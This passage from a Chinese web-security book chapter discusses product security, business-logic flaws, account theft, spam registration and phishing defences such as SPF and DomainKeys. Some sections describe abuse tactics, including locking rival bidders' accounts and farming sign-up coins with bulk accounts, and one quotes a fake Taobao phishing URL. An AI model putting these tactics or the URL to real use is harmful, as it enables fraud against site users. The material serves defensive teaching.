互联网产品对安全的需求当一个产品功能有缺陷、用户体验极差，甚至是整天宕机的时候，是谈不上安全性的，因为产品本身可能都已经无法存在下去了。但是当一个产品其他方面都做得很好的时候，安全有可能会成为产品的一种核心竞争力，成为拉开产品与竞争对手之间差距的秘密武器。只有安全也做得好的产品，才能成为真正的好产品。有许多这样的例子。在搜索引擎行业，竞争一直非常激烈。Yahoo是搜索引擎的巨头，后来Ya-hoo自己扶植起来的Google在搜索方面反而超越了Yahoo。这些搜索引擎，都非常重视搜索结果的安全性。Google与Stopbadware展开了合作，Stopbadware提供一份实时更新的恶意网站列表给Google，其中包括了挂马网站、钓鱼网站、欺诈网站等；而Google则根据这份名单对搜索引擎结果中的数据进行筛选，过滤掉不安全的结果。Google的安全团队也在研究恶意网址识别技术，用于对搜索结果和浏览器进行保护。搜索结果是否安全，对网民来说是很重要的，因为搜索引擎是互联网最重要的一个门户。在曾经发生的一些欺诈案件中，钓鱼网站公然出现在搜索结果中，导致很多用户上当受骗。钓鱼网站、欺诈网站通常使用一些搜索引擎优化（SEO）技术，来提高自身在搜索结果中的排名，一旦被搜索引擎收录，就可以更有效地传播，骗到更多的人。而挂马网站略有不同，挂马网站往往是黑客入侵了一个颇受欢迎的网站之后，篡改了网站的页面。黑客在网页中植入一段攻击代码，试图利用浏览器的漏洞攻击网站的用户。挂马网站本身是一个正常的网站，有的搜索排果如下： 此次研究总共发现了34627个恶意网站；每1000个搜索结果中就会有一个导向恶意网站；每5个搜索主题中就有一个导向恶意网站。除了搜索引擎外，电子邮箱领域的竞争也凸显了安全的重要性。在电子邮箱领域，最重要的一项安全特性就是“反垃圾邮件”。其实早在2006年，就有调查显示，当时的中国互联网用户平均每周都会收到19.94封垃圾邮件，而垃圾邮件每年给国民经济带来大约63.8亿元的损失。而到2008年，这个数字显然已经呈几何基数膨胀到了一个不可思议的境地。据保守估计，仅在2007年，垃圾邮件对中国造成的直接经济损失就达到200亿元，间接损失更是超过万亿。而为了处理垃圾邮件，中国每个用户平均每天要花费36分钟的工作时间。以往的“垃圾邮件”内容一般是推广和广告信息，现在还要加上钓鱼和欺诈邮件。邮件钓鱼、邮件诈骗的案件已经屡见不鲜，如何应对这些业务安全问题，也是很有挑战的工作。目前在反垃圾邮件领域，各家互联网公司都各有妙招。在用户使用的电子邮箱中，能够收到的垃圾邮件多少，也能判断出各个互联网公司在安全实力上的高低。推而广之，可以发现，在互联网中，一个成熟的产品几乎必然会存在安全性方面的竞争。IM、微博、SNS、论坛、P2P、广告等领域，只要有利可图，就会出现安全问题，也就会存在安全方面的竞争。出现安全性竞争，也可以从侧面反映出一个领域在渐趋成熟。安全性做得好的产品，对于用户来说可能不会有什么特别的感觉，因为坏人、坏的信息已经被处理掉了；相反，如果产品安全没有做好，则用户一定会感受到：垃圾消息泛滥、骗子满地跑，这些业务安全的问题会带来糟糕的用户体验，有时候甚至会毁掉一个新兴的领域。安全是产品特性的一个组成部分，具备了安全性，产品才是完整的；安全做好了，产品最终才能真正成熟。16.1.2 什么是好的安全方案可是产品需要什么样的安全呢？产品在选择安全方案时，往往会面临很多选择，这时候又该如何取舍呢？笔者认为，一个优秀的安全方案，除了可以有效地解决问题以外，至少还必须具备两个条件：（1）良好的用户体验； （2）优秀的性能。这两点，也往往是产品对安全方案所提出的最大挑战。假设要设计一个安全方案，保护网站的Web登录入口，如何着手呢？对于认证，我们有许多选择。最基本的做法是使用用户名和密码认证，而一些敏感系统可能会选择双因素（Tow Factors）认证。比如网上银行办理的“U盾”、“动态口令卡”、“令牌”、“客户端证书”、“手机短信验证码”等业务，就都属于双因素认证，它在用户名与密码之外再做了一次认证。然而，双因素认证可能会降低用户体验，因为用户使用起来更加麻烦了。比如用户每次登录时，都需要接收一条手机短信，将短信接收到的动态口令结合密码一起用于认证。对于用户来说，这是很痛苦的一件事情。目前用的比较多的双因素认证方案，都或多或少地存在类似的问题。比如，手机短信有一个到达率的问题，有些国外的用户就接收不到手机短信；“U盾”、“令牌”的制作成本比较高，不大面积推广的话是一笔不菲的花费；客户端证书则需要解决不同浏览器、不同操作系统的兼容问题，以及证书的过期与更新也不是件容易的事情。目前的双因素认证方案，提高了用户的使用门槛，损失了部分用户体验，远远不如一个用户名和密码简单。因此，我们需要慎重使用双因素认证方案。一般来说，只有一些安全要求非常高的账户，或者系统本身就极其敏感的地方，才使用双因素认证方案。如果说“双因素认证”可能会降低用户体验，那么为了更安全，是否可以考虑让用户把密码设置得复杂一些呢？比如要求用户密码必须有16位，且为数字、字母、特殊字符的不同组合。复杂密码安全吗？设置复杂密码也是一种糟糕的体验。有些非活跃用户，可能常常会忘记一个非常用的复杂密码；而有的用户设置了一个自己也记不住的密码后，可能会把“记不住的密码”记录在便条或者本子上，甚至是贴在电脑显示器上，这反而导致密码泄露的可能性提高了。其实设置复杂密码的初衷，是担心密码会被攻击者猜解。密码被猜解的途径有很多种，最常见的是暴力破解；其次是密码有关联性，比如密码是用户的手机号码、生日等。所以“提高密码复杂度”这个安全需求，其本质其实可以分解为：（1）如何对抗暴力破解； （2）如何防止密码中包含个人信息。这样，设计安全方案的思路就有了一些变化。比如可以在登录的应用中检测暴力破解的尝试。检查一个账户在一段时间内的登录失败次数，或者检测某一个IP地址在一段时间内的登录行为次数。这些行为都是比较明显的暴力破解特征。暴力破解往往还借助了脚本或者扫描器，那么在检测到此类行为后，向特定客户端返回一个验证码，也可以有效地缓解暴力破解攻击。如何防止密码中包含个人信息呢？在用户注册时，可以收集到用户填写的个人资料，如果发现用户使用了诸如：用户名、邮件地址、生日、电话号码之类的个人信息作为密码，则应当立即进行提示。解决好了这两个问题，也就解决了用户密码可能被猜解的威胁。而这样的一套安全方案，对于用户基本上是透明的，没有侵入性，也没有改变用户的使用习惯。这样的方案，把安全需要付出的成本转移到网站。而设定“用户不能使用个人信息作为密码”的策略后，对用户也是一种引导，在注册的环节教育用户如何形成良好的安全习惯。但问题并未至此结束。这套方案的前提是密码认证所面临的威胁只有“暴力破解”和“密码中包含个人信息”。如果出现了新的未考虑到的威胁，还是有可能让用户处于危险之中。因此在设计安全方案之前，应该把问题认真地分析清楚，避免出现遗漏。在“我的安全世界观”一章中，介绍了安全评估的基本过程，其中“威胁分析”是设计安全方案的基础。设计一个真正优秀的安全方案，对安全工程师提出了很高的要求。安全是产品的一种特性，如果我们的产品能够潜移默化地培养用户的安全习惯，将用户往更安全的行为上引导，那么这样的安全就是最理想的产品安全。\n16.2 业务逻辑安全16.2.1 永远改不掉的密码2007年，笔者遇到了一起离奇的攻击事件。公司网站的某个用户账户发现被人盗用，攻击者使用该账户来发广告。客服介入后，帮助用户修改了密码、安全问题，并注销了登录状态。但这并没有使事情有所好转，攻击者仍然能够登录进用户的账户。公司网站的账户体系和公司的IM（即时通讯软件）账户体系是互通的，但IM限制同时只能有一个账户在线。于是就出现了一个很神奇的现象：客服登录进该用户的IM账户后，攻击者又紧跟着登录，还会把客服登录的账户踢下线；客服又继续登录，把攻击者踢下线，如此反复。后来笔者追查这个问题时发现，问题出在IM的自有账户体系中。IM有两套账户体系，一套是网站的用户账户，另一套是IM自己的。这两套账户有一一对应的“绑定”关系。一般来说，网站的用户修改密码后，会同步修改IM的账户密码。但是这个案例里，网站修改密码的逻辑里，并没有同步修改对应的IM账户，于是出现了这样的一个逻辑漏洞：不管网站的用户密码如何更改，攻击者总是能够通过对应的IM账户登录（因为之前账户已经被盗了）。这就是一个典型的业务逻辑安全问题。业务逻辑问题与业务的关系很紧密，花样百出，很难总结归类。业务逻辑问题是一种设计缺陷，在产品开发过程中，可以考虑在产品设计和测试阶段解决。但业务逻辑问题没有一个成熟的归纳体系，很多时候，只能依靠安全工程师的个人经验来判断这些问题。我们再看两个案例。16.2.2 谁是大赢家在2007年的Blackhat大会上，来自Whitehat公司的Jeremiah Grossman专门做了一场关于业务逻辑安全的演讲，其中提到了几个很有意思的案例。某家在线购物网站为了对抗密码暴力破解，规定短时间内账户登录失败5次，就将锁定账户一个小时。该网站的业务中，提供了一个在线竞拍的功能，用户可以给喜欢的商品出价，后来者必须给出一个更高的价格。在拍卖时间截止后，商品将为出价高者所得。这其中存在什么问题呢？也许你已经猜到了，某黑客在给商品出价后，在网站上继续观察谁出了一个更高的价格，当他发现有人出价更高时，就去恶意登录这个用户的账户：当登录失败次数达到5次时，该账户就被系统锁定了。订单系统和账户安全系统是相关联的，当订单系统发现账户被锁定后，该用户的出价也同时作废。这样，黑客就能以极低的价格，获取他所想竞拍的物品。Grossman给出的解决建议是在登录错误返回时，先添加一个登录用的验证码，以避免脚本或扫描器的自动登录；同时在网站页面上隐藏每个用户的ID，只显示nick。在这个案例中，其实还存在另外一个逻辑问题。网站如果将用户的ID显示在网页上，那么就有可能被黑客抓取，黑客可以实施一种恶意攻击，使用一个脚本不停地尝试登录所有的ID。这样，正常的用户都会被系统锁定。如果大多数的用户都无法正常登录网站，那么网站的业务会受到非常大的影响。这种攻击针对的是安全三要素中的“可用性”。很多网站在设计对抗暴力破解的方案时，都会使用“锁定账户”的策略，其实都会存在这样的逻辑缺陷。如何解决这个问题呢？这得回到暴力破解的对抗上来。在Jeremiah Grossman提出的解决方案中，提到了检测到暴力破解后，增加一个验证码的方案。我们知道，验证码并非一种好的用户体验，所以应该尽量不要在用户第一次登录时就增加验证码。首先，需要检测到暴力破解的行为。暴力破解通常都有一定的特征，比如某个账户在5分钟内登录错误达到10次。还有一种暴力破解攻击是根据弱口令来遍历用户名的，比如黑客使用密码“123456”，尝试登录不同的用户名。这需要黑客事先收集一份可以使用的ID列表。但无论如何变化，暴力破解是需要高效率的，所以“短时间”、“高频率”的行为特征比较明显。黑客为了躲避安全系统的检测，常常会使用多个IP地址来进行登录尝试。这些IP地址可能是代理服务器，也可能是傀儡机。但经过实践检验，即使黑客使用了多个IP地址，想要使攻击达到一定的规模，还是会使用重复的IP地址。最终的结果就是单个IP地址可能会发起多次网络请求。在设计对抗的方案时，为了避免本案例中出现的逻辑漏洞，就不应该再锁定账户，而是应该锁定来自某一IP地址的请求。并且当认定某一IP地址存在恶意行为后，对IP地址的历史记录追加处罚。这样就不会阻碍正常用户的访问，而仅仅把坏人关在门外。要实现这样的一套系统颇为复杂，同时还要兼顾性能和高效。但实现之后确实是行之有效的。16.2.3 瞒天过海下面看看Jeremiah Grossman举出的另一个经典案例。在北加州，某电视台的网站为了Web 2.0化，开发了一个新的功能：允许网友们提供当地的天气信息，该信息将在电视新闻中滚动播出。为了防止垃圾信息，网友们提供的信息是经过人工审核后才播出的。但是这套系统在设计时还允许网友们对信息进行编辑。此处存在一个逻辑漏洞：审核通过后的信息，如果被用户重新编辑了，不会再次进行审核，也会直接发送到电视新闻的滚动条中。于是有不少人利用这一逻辑漏洞，在电视新闻中发送各种垃圾信息。电视台的滚动信息被黑客篡改解决这个不大不小的麻烦也很简单，在信息编辑前加入人工审核，但缺点是需要耗费更多的人力。16.2.4 关于密码取回流程很多网站曾经提供的“修改密码”功能中，也存在一个典型的逻辑问题：用户修改密码时不需要提供当前密码。这种设计，导致账户被盗后，黑客就可以直接使用此功能修改账户的密码。账户被盗的原因有很多种，比如Cookie劫持导致的账户被盗，黑客是不知道用户密码的。因此修改密码时不询问当前密码，是一个逻辑漏洞。正确的做法是，在进行敏感操作之前再次认证用户的身份。网站的修改用户密码页面除了“修改密码”功能外，密码取回流程也是一个很复杂、很容易出现逻辑问题的地方。用户密码丢失后，就不能再使用用户密码作为认证手段。通常，如果不考虑客服的话，用户想自助取回密码，有三个方法可以用来认证用户：一是用户设定的安全问题，比如“妈妈的生日是什么时候”，答：“生我的那天”；二是用户注册时留下的安全邮箱，可以通过邮箱修改密码；三是给用户发送手机短信验证码，这需要用户预留手机信息。假设黑客已经知道了用户的密码，那么这里面可能会涉及到很多逻辑问题。这三种认证用户身份的信息，是否可能被黑客修改呢？比如在修改安全问题前，如果没有要求认证当前安全问题的答案，则黑客可以直接修改安全问题；再比如修改用户手机号码，是否会将短信发送到当前手机上进行身份验证？但是出于可用性的考虑，不能只给用户一种选择。比如：用户的手机号码如果作废了，不能强求用户在修改手机号码时，还要验证一下已经作废的手机号的。这是不合理的，必须给出其他的解决途径。当三种认证信息都不太可靠时，只能选择一些其他的办法来解决。一个比较好的方法，是使用用户在网站上留下过的一些私有信息，与用户逐一核对，以验证用户身份确实是本人。比如：用户曾经使用过的密码；用户曾经登录过的时间、地点；用户曾经在站内发表过，但又删除了的文章等。这些信息可以称为用户的“基因”，因为这些信息越详细，就越能准确地区分出一个独立的用户。“密码取回流程”是安全设计中的一个难题，它与业务结合紧密，牵一发而动全身。目前没有非常标准的解决方案，只能具体问题具体分析。\n16.3 账户是如何被盗的账户的安全问题，是互联网业务安全的一个关键问题。大多数网站面临的业务安全类投诉，都与账户被盗有关。2007年，《南方日报》报道过这样一个案例：12月14日早上，广州某国际旅行社吴小姐上QQ时突然发现“您的QQ账户在另一地点登录，您已被迫下线”的提示。吴小姐再次上线后，很快又再次出现这一情况。吴小姐正感到纳闷时，却收到几名QQ好友的电话，“他们说在QQ上收到我经济有困难，请汇款给我帮忙。的信息”。吴小姐方知自己的QQ号已被人盗取利用。“我这个被盗的QQ很重要，里面很多朋友都有工作关系，特别是QQ里面的群组织。他老在QQ上乱说话，对我影响很大。”吴小姐心急如焚。随后，吴小姐申请了另一个QQ号，通过原QQ号与盗号者联系。“不料对方竟然狮子大开口，要我汇款300元才还我QQ号，不然就逐个把好友删除，现在已删了一部分。”吴小姐忿忿不平地说，盗号者当时24小时在线，使她根本无法上线，欲更改密码，但又没有申请密码保护。无奈之下，吴小姐给盗号者汇款300元，希望盗号者能兑现“诺言”。盗号问题，已经成为影响用户体验、影响网站业务正常发展的一个重要问题。大多数网站的业务安全，主要是在与盗号做斗争。网络游戏行业，因为有利可图，虚拟货币、游戏装备的变现能力吸引了大量黑客，因此网游成为盗号的重灾区。同样盗号问题严重的，还有网上银行以及网上支付相关的行业。16.3.1 账户被盗的途径账户会面临哪些威胁呢？通过一轮头脑风暴发现，在以下几种情况下，用户的账户存在被盗的可能。（1）网站登录过程中无HTTPS，密码在网络中被嗅探。 （2）用户电脑中了木马，密码被键盘记录软件所获取。 （3）用户被钓鱼网站所迷惑，密码被钓鱼网站所骗取。 （4）网站某登录入口可以被暴力破解。 （5）网站密码取回流程存在逻辑漏洞。 （6）网站存在XSS等客户端脚本漏洞，用户账户被间接窃取。 （7）网站存在SQL注入等服务器端漏洞，网站被黑客入侵导致用户账户信息泄露。以上这些威胁中，除了“用户电脑中了木马”与“用户上了钓鱼网站”这两点与用户自身有关外，其余几点都是可以从服务器端进行控制的。换句话说，如果这几点没有做好而导致的安全问题，网站都应该负主要责任。进一步进行风险分析，根据DREAD模型（参见“我的安全世界观”一章），可以得出如下的风险判断。（按照风险从高到低排列）（1）网站被暴力破解D(3)+R(3)+E(3)+A(3)+D(3) = 15 （2）密码取回流程存在逻辑漏洞D(3)+R(3)+E(3)+A(3)+D(2) = 14 （3）密码被嗅探 D(3)+R(3)+E(3)+A(1)+D(3)= 13 （4）网站存在SQL注入漏洞D(3)+R(3)+E(2)+A(3)+D(1) = 12 （5）用户被钓鱼 D(3)+R(1)+E(3)+A(2)+D(3)= 12 （6）网站存在XSS，账户被间接窃取D(3)+R(2)+E(2)+A(2)+D(2) = 11 （7）用户中木马 D(3)+R(1)+E(2)+A(1)+D(1)= 8尽管风险的判断存在一定的主观因素，但DREAD模型还是能帮助我们更清楚地认识到目前的问题所在。对这7个风险进行比较，可以得出安全工作的优先级。从以上分析可以看出：用户登录时安全 > 网站实现上的安全漏洞 > 用户使用环境安全这与今天的现状是基本一致的。由于门槛低，见效快，所以“暴力破解”长期以来一直存在。一家叫“RockYou”的SNS网站遭受攻击后，有3200万用户密码被公布在网上，黑客们可以毫不费力地下载这些密码。安全研究员舒尔曼和他的公司对这3200万被盗密码进行了研究，发现了网络用户设置密码的习惯。他们发现，3200万用户中将近1%的人以“123456”作为密码；使用第二多的密码是“12345”；排名前20位的密码还有“qwerty”（键盘布局靠近的几个字母）、“abc123”和“princess”等。舒尔曼表示，更令人不安的是，在3200万账户中，大约五分之一用户所使用的密码来源于相当接近的5000个符号。这意味着，只需要尝试人们常用的密码，黑客就可以进入很多账户。由于电脑和网络运行速度的加快，黑客每分钟就可以进行几千个密码破解。舒尔曼说：“我们以为密码破解是个非常耗时间的攻击方式，你必须对每个账户都逐个字符地试，每破译一个密码都需要尝试大量的字符。但实际情况是，只要选择人们最常用的几个字符，就能破译大量的密码。”暴力破解的防范也远远不如想象的简单，在上一节中，谈到过这个问题。“网络嗅探”本来是一个很严重的安全问题。但是在今天，大家都开始重视“ARP欺骗”，在许多IDC机房里都实施了对抗ARP欺骗的方案，比如采用带有DAI功能的思科交换机，或者静态绑定IP地址与MAC。所以今天想在网站服务器所在的VLAN实施ARP欺骗是比较困难的。今天的ARP欺骗，更多的是在威胁个人用户。因此在DREAD模型的评分中，“网络嗅探”的“Affected Users”一项只评了1分。尚未列出来的威胁还有很多，需要在工作中不断完善。比如网站所使用的Web Server出现漏洞，导致被远程攻击。此外，还曾经发生过这样的案例：某大型社区被黑客入侵，泄露了数据库中的全部用户数据。如果网站将用户的密码明文保存在数据库中，或者没有加Salt的哈希值，则黑客可以根据这些密码，再次尝试入侵同一用户的邮箱、IM等第三方网站账户。因为大部分用户都习惯于使用同一个密码登录不同的网站。16.3.2 分析账户被盗的原因盗号的可能性有这么多，那么如何分析和定位问题所在呢？首先，客服是最重要和直接的渠道。从客服收集第一手资料，甚至由工程师回访客户，会有意想不到的收获。客户往往讲不清楚问题的关键，所以需要事先考虑好各种可能性，并有针对性地向客户提一些问题。有时候访问个别客户也许无法得到所需结果，此时应该耐心等待并收集更多证据。但在工作中，经常容易犯的错误是主观臆断。我们可以事先考虑到各种可能性，但是一定要做到“大胆假设，小心求证”。求证的过程必须一丝不苟，务必保证严谨。如果没搞清楚事实的真相到底是什么，而只是靠猜测来设计解决方案的话，则很容易找错目标，从而浪费非常宝贵的时间，问题也很可能因此而扩大化。其次，从日志中寻找证据。除了从客户处收集第一手资料外，也应该重视网站日志的作用，从日志中去大胆求证。比如暴力破解，很有可能会在登录日志中留下大量错误登录的记录，如果找到了，则求证成功。稍微复杂点的，如果是“密码取回流程”之类的逻辑漏洞，则被盗用户可能有这样的特征：异地登录后实施更改密码一类的操作，甚至有个别“高危地区IP”登录多个不相关账户的行为。这些都是能够从日志里找到的证据。最后，打入敌人内部，探听最新动态。在黑色产业链中，有人制作、销售工具，也有人专门从事诈骗活动。这些人建立的群体，关系并不是非常紧密的，可能仅仅是依靠QQ群或其他IM互相联系。因此打入这些人所在的圈子，并不是特别困难的事情，这样能掌握敌人的第一手资料。黑客们也有自己的群体，在社区里打听，也能得到一些有用的消息。\n16.4 互联网的垃圾在上一节，探讨了盗号的问题。但很多时候，恶意用户并不需要盗号，也能完成他们的目的。在本节，将探讨垃圾注册和垃圾信息，这是另一个让网站无比头疼的问题。16.4.1 垃圾的危害今天的互联网中垃圾信息泛滥，但互联网对垃圾信息的重视程度却远远不够。在网站应用中，垃圾注册几乎成为一切业务安全问题的源头。通过一些调研结果发现，垃圾注册问题积弊已久。一个大型网站平均每天的新增注册用户中，可能有超过一半是垃圾注册造成的。这么多的注册账户，都干什么去了？这些垃圾账户的目的有很多，有的是为了发广告，有的是为了宣传政治观点，有的是为了诈骗其他用户，不一而同。那怎么认定一个账户是垃圾账户呢？一般来说，“目的不是网站所提供的服务”的注册账户，都属于垃圾账户。比如一个论坛提供一些内部资源供会员购买（比如付费的正版电影），但是购买的形式是会员每次购买都需要支付相应的“虚拟金币”。“虚拟金币”的获得有几种途径：会员在论坛里发帖，可以获得一定的金币；或者会员通过网银充值，能够兑换到金币；还有就是论坛为了鼓励新注册会员，会给每个新注册账户赠送10个金币。这给了恶意用户可乘之机：利用“新注册用户奖励10个金币”的机制，恶意用户通过批量注册的手段，一夜之间注册了几千个账户，并在站内将金币都转到一个账户上，最终在论坛里消费掉这些金币。这样产生的几千个账户，就变成了“垃圾账户”。而论坛本来能收到的费用，则在无形中损失了。网站将为此买单。这个案例，就是一个通过垃圾注册利用逻辑漏洞的典型案例。垃圾注册的账户，常常用来发广告和推广信息。任何可以“留言”以及产生“用户交互”的地方，都可能会被垃圾消息盯上。如下为淘宝网的商品评价中，出现的垃圾消息。淘宝网的商品评价中的垃圾信息百度可以搜索到很多自动注册机，在网上可以随意下载。搜索到的自动注册机结果16.4.2 垃圾处理如何防范垃圾注册和垃圾消息呢？垃圾处理离不开两个步骤：“识别”和“拦截”。拦截的方法根据业务而定。可以选择冻结账户或者删除账户，也可以只针对垃圾内容做屏蔽。但问题的关键是屏蔽什么、拦截什么，这就涉及到“垃圾识别技术”了。想要拦截垃圾注册和垃圾消息，就要先了解它们。垃圾注册的一个特点是“批量”，由程序自动完成。垃圾消息的传播也如此，很少有垃圾消息是手动一条条发出来的。但是当有极大利益驱动时，垃圾注册也可能会变成一种半自动或者手动的方式。笔者曾经见过一些批量注册账户的程序——由于网站在注册时要求输入验证码，而验证码难以破解，骗子雇佣了一批人，在网吧里每天的工作就是手动输入验证码。因为相对于骗子所获得的高回报来说，这些雇佣成本几乎可以忽略不计。“批量”、“自动化”的特点意味着：（1）同一客户端会多次请求同样的URL地址； （2）页面与页面之间的跳转流程可能会不正常（页面1→页面3，不像正常用户行为）； （3）同一客户端两次请求之间的时间间隔短； （4）有时客户端的UserAgent看起来不像浏览器； （5）客户端可能无法解析JavaScript和Flash； （6）在大多数情况下验证码是有效的。如果再从垃圾注册和垃圾消息的内容去分析，又可以发现很多不同的特点：（1）注册时填写的用户名可能是随机生成的字符串，而非自然语言； （2）不同账户的资料介绍可能出现同样的内容，在需要打广告时尤其如此； （3）可能含有一些敏感词，比如政治敏感词和商业广告词； （4）可能出现文字的变形，比如把半角变全角，或者类似地把“强”拆成“弓虽”。如果与业务相结合的话，还能挖掘出更多的特征，比如在IM里：（1）如果某个用户给许多不同用户发送消息，但接收者都不回消息的话，这个人可能就是在发送垃圾消息； （2）如果某个用户加入不同的IM群后，发送的消息总是同样的内容，不说其他话，则可能也是在发送垃圾消息。有了这些特征，就可以依此建立规则和模型。规则系统比较简单，多条规则结合还可以建立更复杂的模型。在垃圾识别或者Anti-Spam领域里，被广泛应用的方法是“机器学习”。想要实现一个优秀的垃圾识别算法，需要算法专家与业务专家一起合作，这是一个需要不断改进的过程。目前并没有一个万能的算法能一次解决问题。与业务相关的系统，必然是在不断的磨砺中成长。今天许多大型互联网公司都组建了自己的商业智能团队来做这些事情。在本书中，不深谈此类算法的实现细节。如果仔细分析垃圾行为特征，可以大致分成：内容的特征、行为的特征、客户端本身的特征。从这三个方面入手，可以得出不同类型的规则。 基于内容的规则：以自然语言分析、关键词匹配等为代表。基于行为的规则：以业务逻辑规则为代表。基于客户端识别的规则：以人机识别为代表，比如验证码，或者让客户端去解析JavaScript。三种规则配合使用，能够起到较好的效果，最终可以建立一个比较完善的风险控制系统——在事中监控并拦截高风险的用户行为；在事后追溯恶意用户，取证、统计损失；并可以为决策提供依据。识别出非法用户和非法行为后，在“拦截”上也需要讲究策略和战术。因为很多时候，规则都是“见光死”，规则的保密性非常重要。如果使用规则和恶意用户做直接对抗，那么规则的内容很容易暴露，导致规则很快会被绕过。因此要有技巧地保护规则。如何保护呢？以“拦截”来说，如果不是特别紧急的业务，则可以打一个时间差。当使用规则识别出垃圾账户后，过一段时间再做处理，这样恶意用户就摸不准到底触犯了哪条规则。同时还可以“打压”大部分账户，放过一小批账户。这样既控制住大部分的风险，又让风险不会随意转移，可以一直把可控的风险放在明处。这样从防御的角度看，就能掌握主动权。与垃圾注册和垃圾信息的对抗最终还是会升级。作为安全团队，需要紧跟敌人的变化，走在敌人的前面。\n16.5 关于网络钓鱼在今天的互联网中，钓鱼与欺诈问题已经成为一个最严重的威胁。在金山网络安全中心发布的《2010年中国网络购物安全报告》中指出，有超过1亿用户遭遇过网购陷阱，直接经济损失将突破150亿元。而中国的网民在2011年才刚刚突破4亿。在这样恶劣的环境下，如何对抗钓鱼问题，就显得尤为重要了。16.5.1 钓鱼网站简介很多站长都会觉得很无辜：“是钓鱼网站模仿了我的网页，又不是我的网站出现了漏洞”、“用户上当，是因为用户傻”。很多时候，钓鱼网站确实不是网站的主要责任。但是问题既然发生了，光抱怨是没有用的，最终受到伤害的还是网站的用户。所以，网站可以主动承担更大的责任，尽可能地处理网络钓鱼问题。在互联网安全中，网络钓鱼问题是至今都难以根治的一个难题。它难就难在欺诈过程中，利用了许多人性的弱点，或以利诱，或以障眼法。网络钓鱼问题并不完全是一个技术问题，单纯从技术的层面去解决，很难根治。在今天，网络钓鱼已经像挂马一样，形成了一个产业链。这个产业链中分工明确：有人制作并销售生成钓鱼网站的程序，有人负责在邮件、IM中传播钓鱼网站，有人负责将骗到的钱财从银行账户中洗出来。根据中国反钓鱼联盟的统计，网络钓鱼大多集中在网络购物、网上银行等行业。下图是2011年4月份的钓鱼网站行业分布统计。在网上支付行业中产生的网络钓鱼，有机会让骗子直接骗取用户的钱财，所以是网络钓鱼的重灾区。淘宝网是目前中国最大的电子商务网站，占据了中国网购市场的半壁江山。因此，模仿淘宝网的钓鱼网站非常多。钓鱼网站行业分类统计根据中国反钓鱼联盟在2011年4月份的统计数据，可以看出淘宝网的钓鱼网站是目前国内钓鱼网站的主流。钓鱼网站模仿目标站点统计在国外，钓鱼网站（Phishing）的定义是页面中包含了登录表单的网站，此类网站的目的是骗取用户的密码。但是随着网络犯罪手段的多样化，很多钓鱼网站开始模仿登录页面之外的页面，目标也不仅仅是简单的骗取密码。此类钓鱼网站可以称为“欺诈网站”，也可以认为是广义的钓鱼网站，因为它们都是以模仿目标网站的页面为基本技术手段。在本书中，将统一称之为“钓鱼网站”。以淘宝网的钓鱼网站为例，正常的淘宝网登录页面如下：而伪造的淘宝网钓鱼网站则如下：注意钓鱼网站的URL是：http://item.taobao-com-ite.cz.cc/member/login.jhtml_f_top.Asp?u=admin钓鱼网站一般都会使用欺骗性的域名，并通过各种文字变形诱骗用户。一些经验不是很丰富的用户，可能就分辨不出来网站的真实性；有时候甚至一些老网民也会因为粗心大意而上当。令人吃惊的是，笔者接触到的许多因为钓鱼网站而被盗的案件中，用户强调自己能分辨钓鱼网站，但真相是往往用户自己并不知道曾经访问了钓鱼网站。从传播途径上来说，钓鱼网站并非无迹可寻。骗子总是希望能够骗到更多的人，他们也有目标客户。比如，如果是骗取用户购买游戏点卡的，则很有可能会在网络游戏的公共频道中“喊话”。此外，IM和邮箱也是钓鱼网站传播的主要途径。淘宝网上的购物有自己的IM——淘宝旺旺，在旺旺上传播的钓鱼网站一般是模仿淘宝网的钓鱼网站；而在QQ上，更多的是传播拍拍与财付通的钓鱼网站。但这个趋势并非绝对，需要看具体情况。16.5.2 邮件钓鱼钓鱼邮件，是垃圾邮件的一种，它比广告邮件更有针对性。令人比较无奈的是，SMTP协议是可以由用户伪造发件人邮箱的。而在邮件服务器上，如果没有实施相关的安全策略，则无从识别发件人邮箱的真伪。一封典型的钓鱼邮件如下，注意邮件的发送者被伪造成真实的邮箱地址。伪造的Alibaba发件人邮箱在邮件正文中，则诱骗用户到一个伪造的钓鱼网站。包含钓鱼网站的邮件正文目前有许多识别发件人邮箱的安全技术，大部分都是基于域名策略的，比如SPF（Sender PolicyFramework）、Yahoo的DomainKeys、微软的Sender ID技术等。Yahoo的DomainKeys会生成一对公私钥。公钥布署在收信方的DNS服务器上，用于解密；私钥则用于发信方的邮件服务器，对发出的每封邮件进行签名。这样收信方在收信时，到DNS服务器上查询属于发信方域名的公钥，并对邮件中的加密串进行解密验证，以确保该邮件来自正确域。SPF技术与DomainKeys不同，SPF是基于IP策略的，有点类似于DNS反向解析。收信方在接收到邮件时，会去DNS查询发信方域的SPF记录。这个记录写着发信方邮件服务器和IP的对应关系，检查了这个记录后，就可以确定该邮件是不是发自指定IP的邮件服务器，从而判断邮件真伪。微软的Sender ID技术，是以SPF为基础的。但是，这三种技术在今天都面临一个很大的推广难题。DomainKeys尤其复杂，它是在原本的标准邮件协议上多出了一个扩展；同时加/解密对服务器性能的影响比较大，在处理海量数据时，容易形成瓶颈；配置与维护上的困难也会让很多邮件服务商望而止步。SPF相比于DomainKeys来说更易于配置，只需要收信方单方面在DNS中配置即可。但是SPF是针对IP和域名的策略，难以覆盖到互联网上的所有网站。各大邮件运营商的SPF策略又各不相同，使得骗子有很多空子可以钻。而基于IP的策略，一旦写死，维护起来也是一件非常痛苦的事情。这意味着发信方域的邮件服务器IP不能做较大的变化——一旦IP变化了，SPF策略却未及时更新，就可能会造成大面积误杀。但是在今天，SPF仍然成为对抗“邮件地址伪造”的一项主要技术，在没有更好的技术出现时，只能选择去推广SPF。16.5.3 钓鱼网站的防控钓鱼网站的防控是一件很有挑战的事情。尤其是现在互联网整体环境比较恶劣，在此方面的基础建设远远不足的情况下，很可能会面临投入大、产出小的窘境。但是钓鱼网站的防控是必须要做的事情，一步步改善环境，总能迎来最后的胜利。前文谈到了钓鱼网站的传播途径，主要集中在邮箱、IM等处。根据网站业务的差异，在评论、博客、论坛等处也可能会存在钓鱼链接，时下非常热门的SNS和微博，也可能会成为钓鱼网站传播的主要途径之一。16.5.3.1 控制钓鱼网站传播途径控制钓鱼网站传播的途径，就能对钓鱼网站实施有效的打击。一个网站如果有IM、邮箱等互联网基础服务的业务，则可以利用自有资源对用户产生的内容进行控制，检查其中是否包含钓鱼网站，尤其在一些“用户与用户之间交互”比较多的地方。但钓鱼网站也有可能在“站外传播”。目前很多网站是没有自己的邮箱服务的，用户注册时使用的邮箱由第三方邮件运营商提供，比如Gmail、Ya-hoo 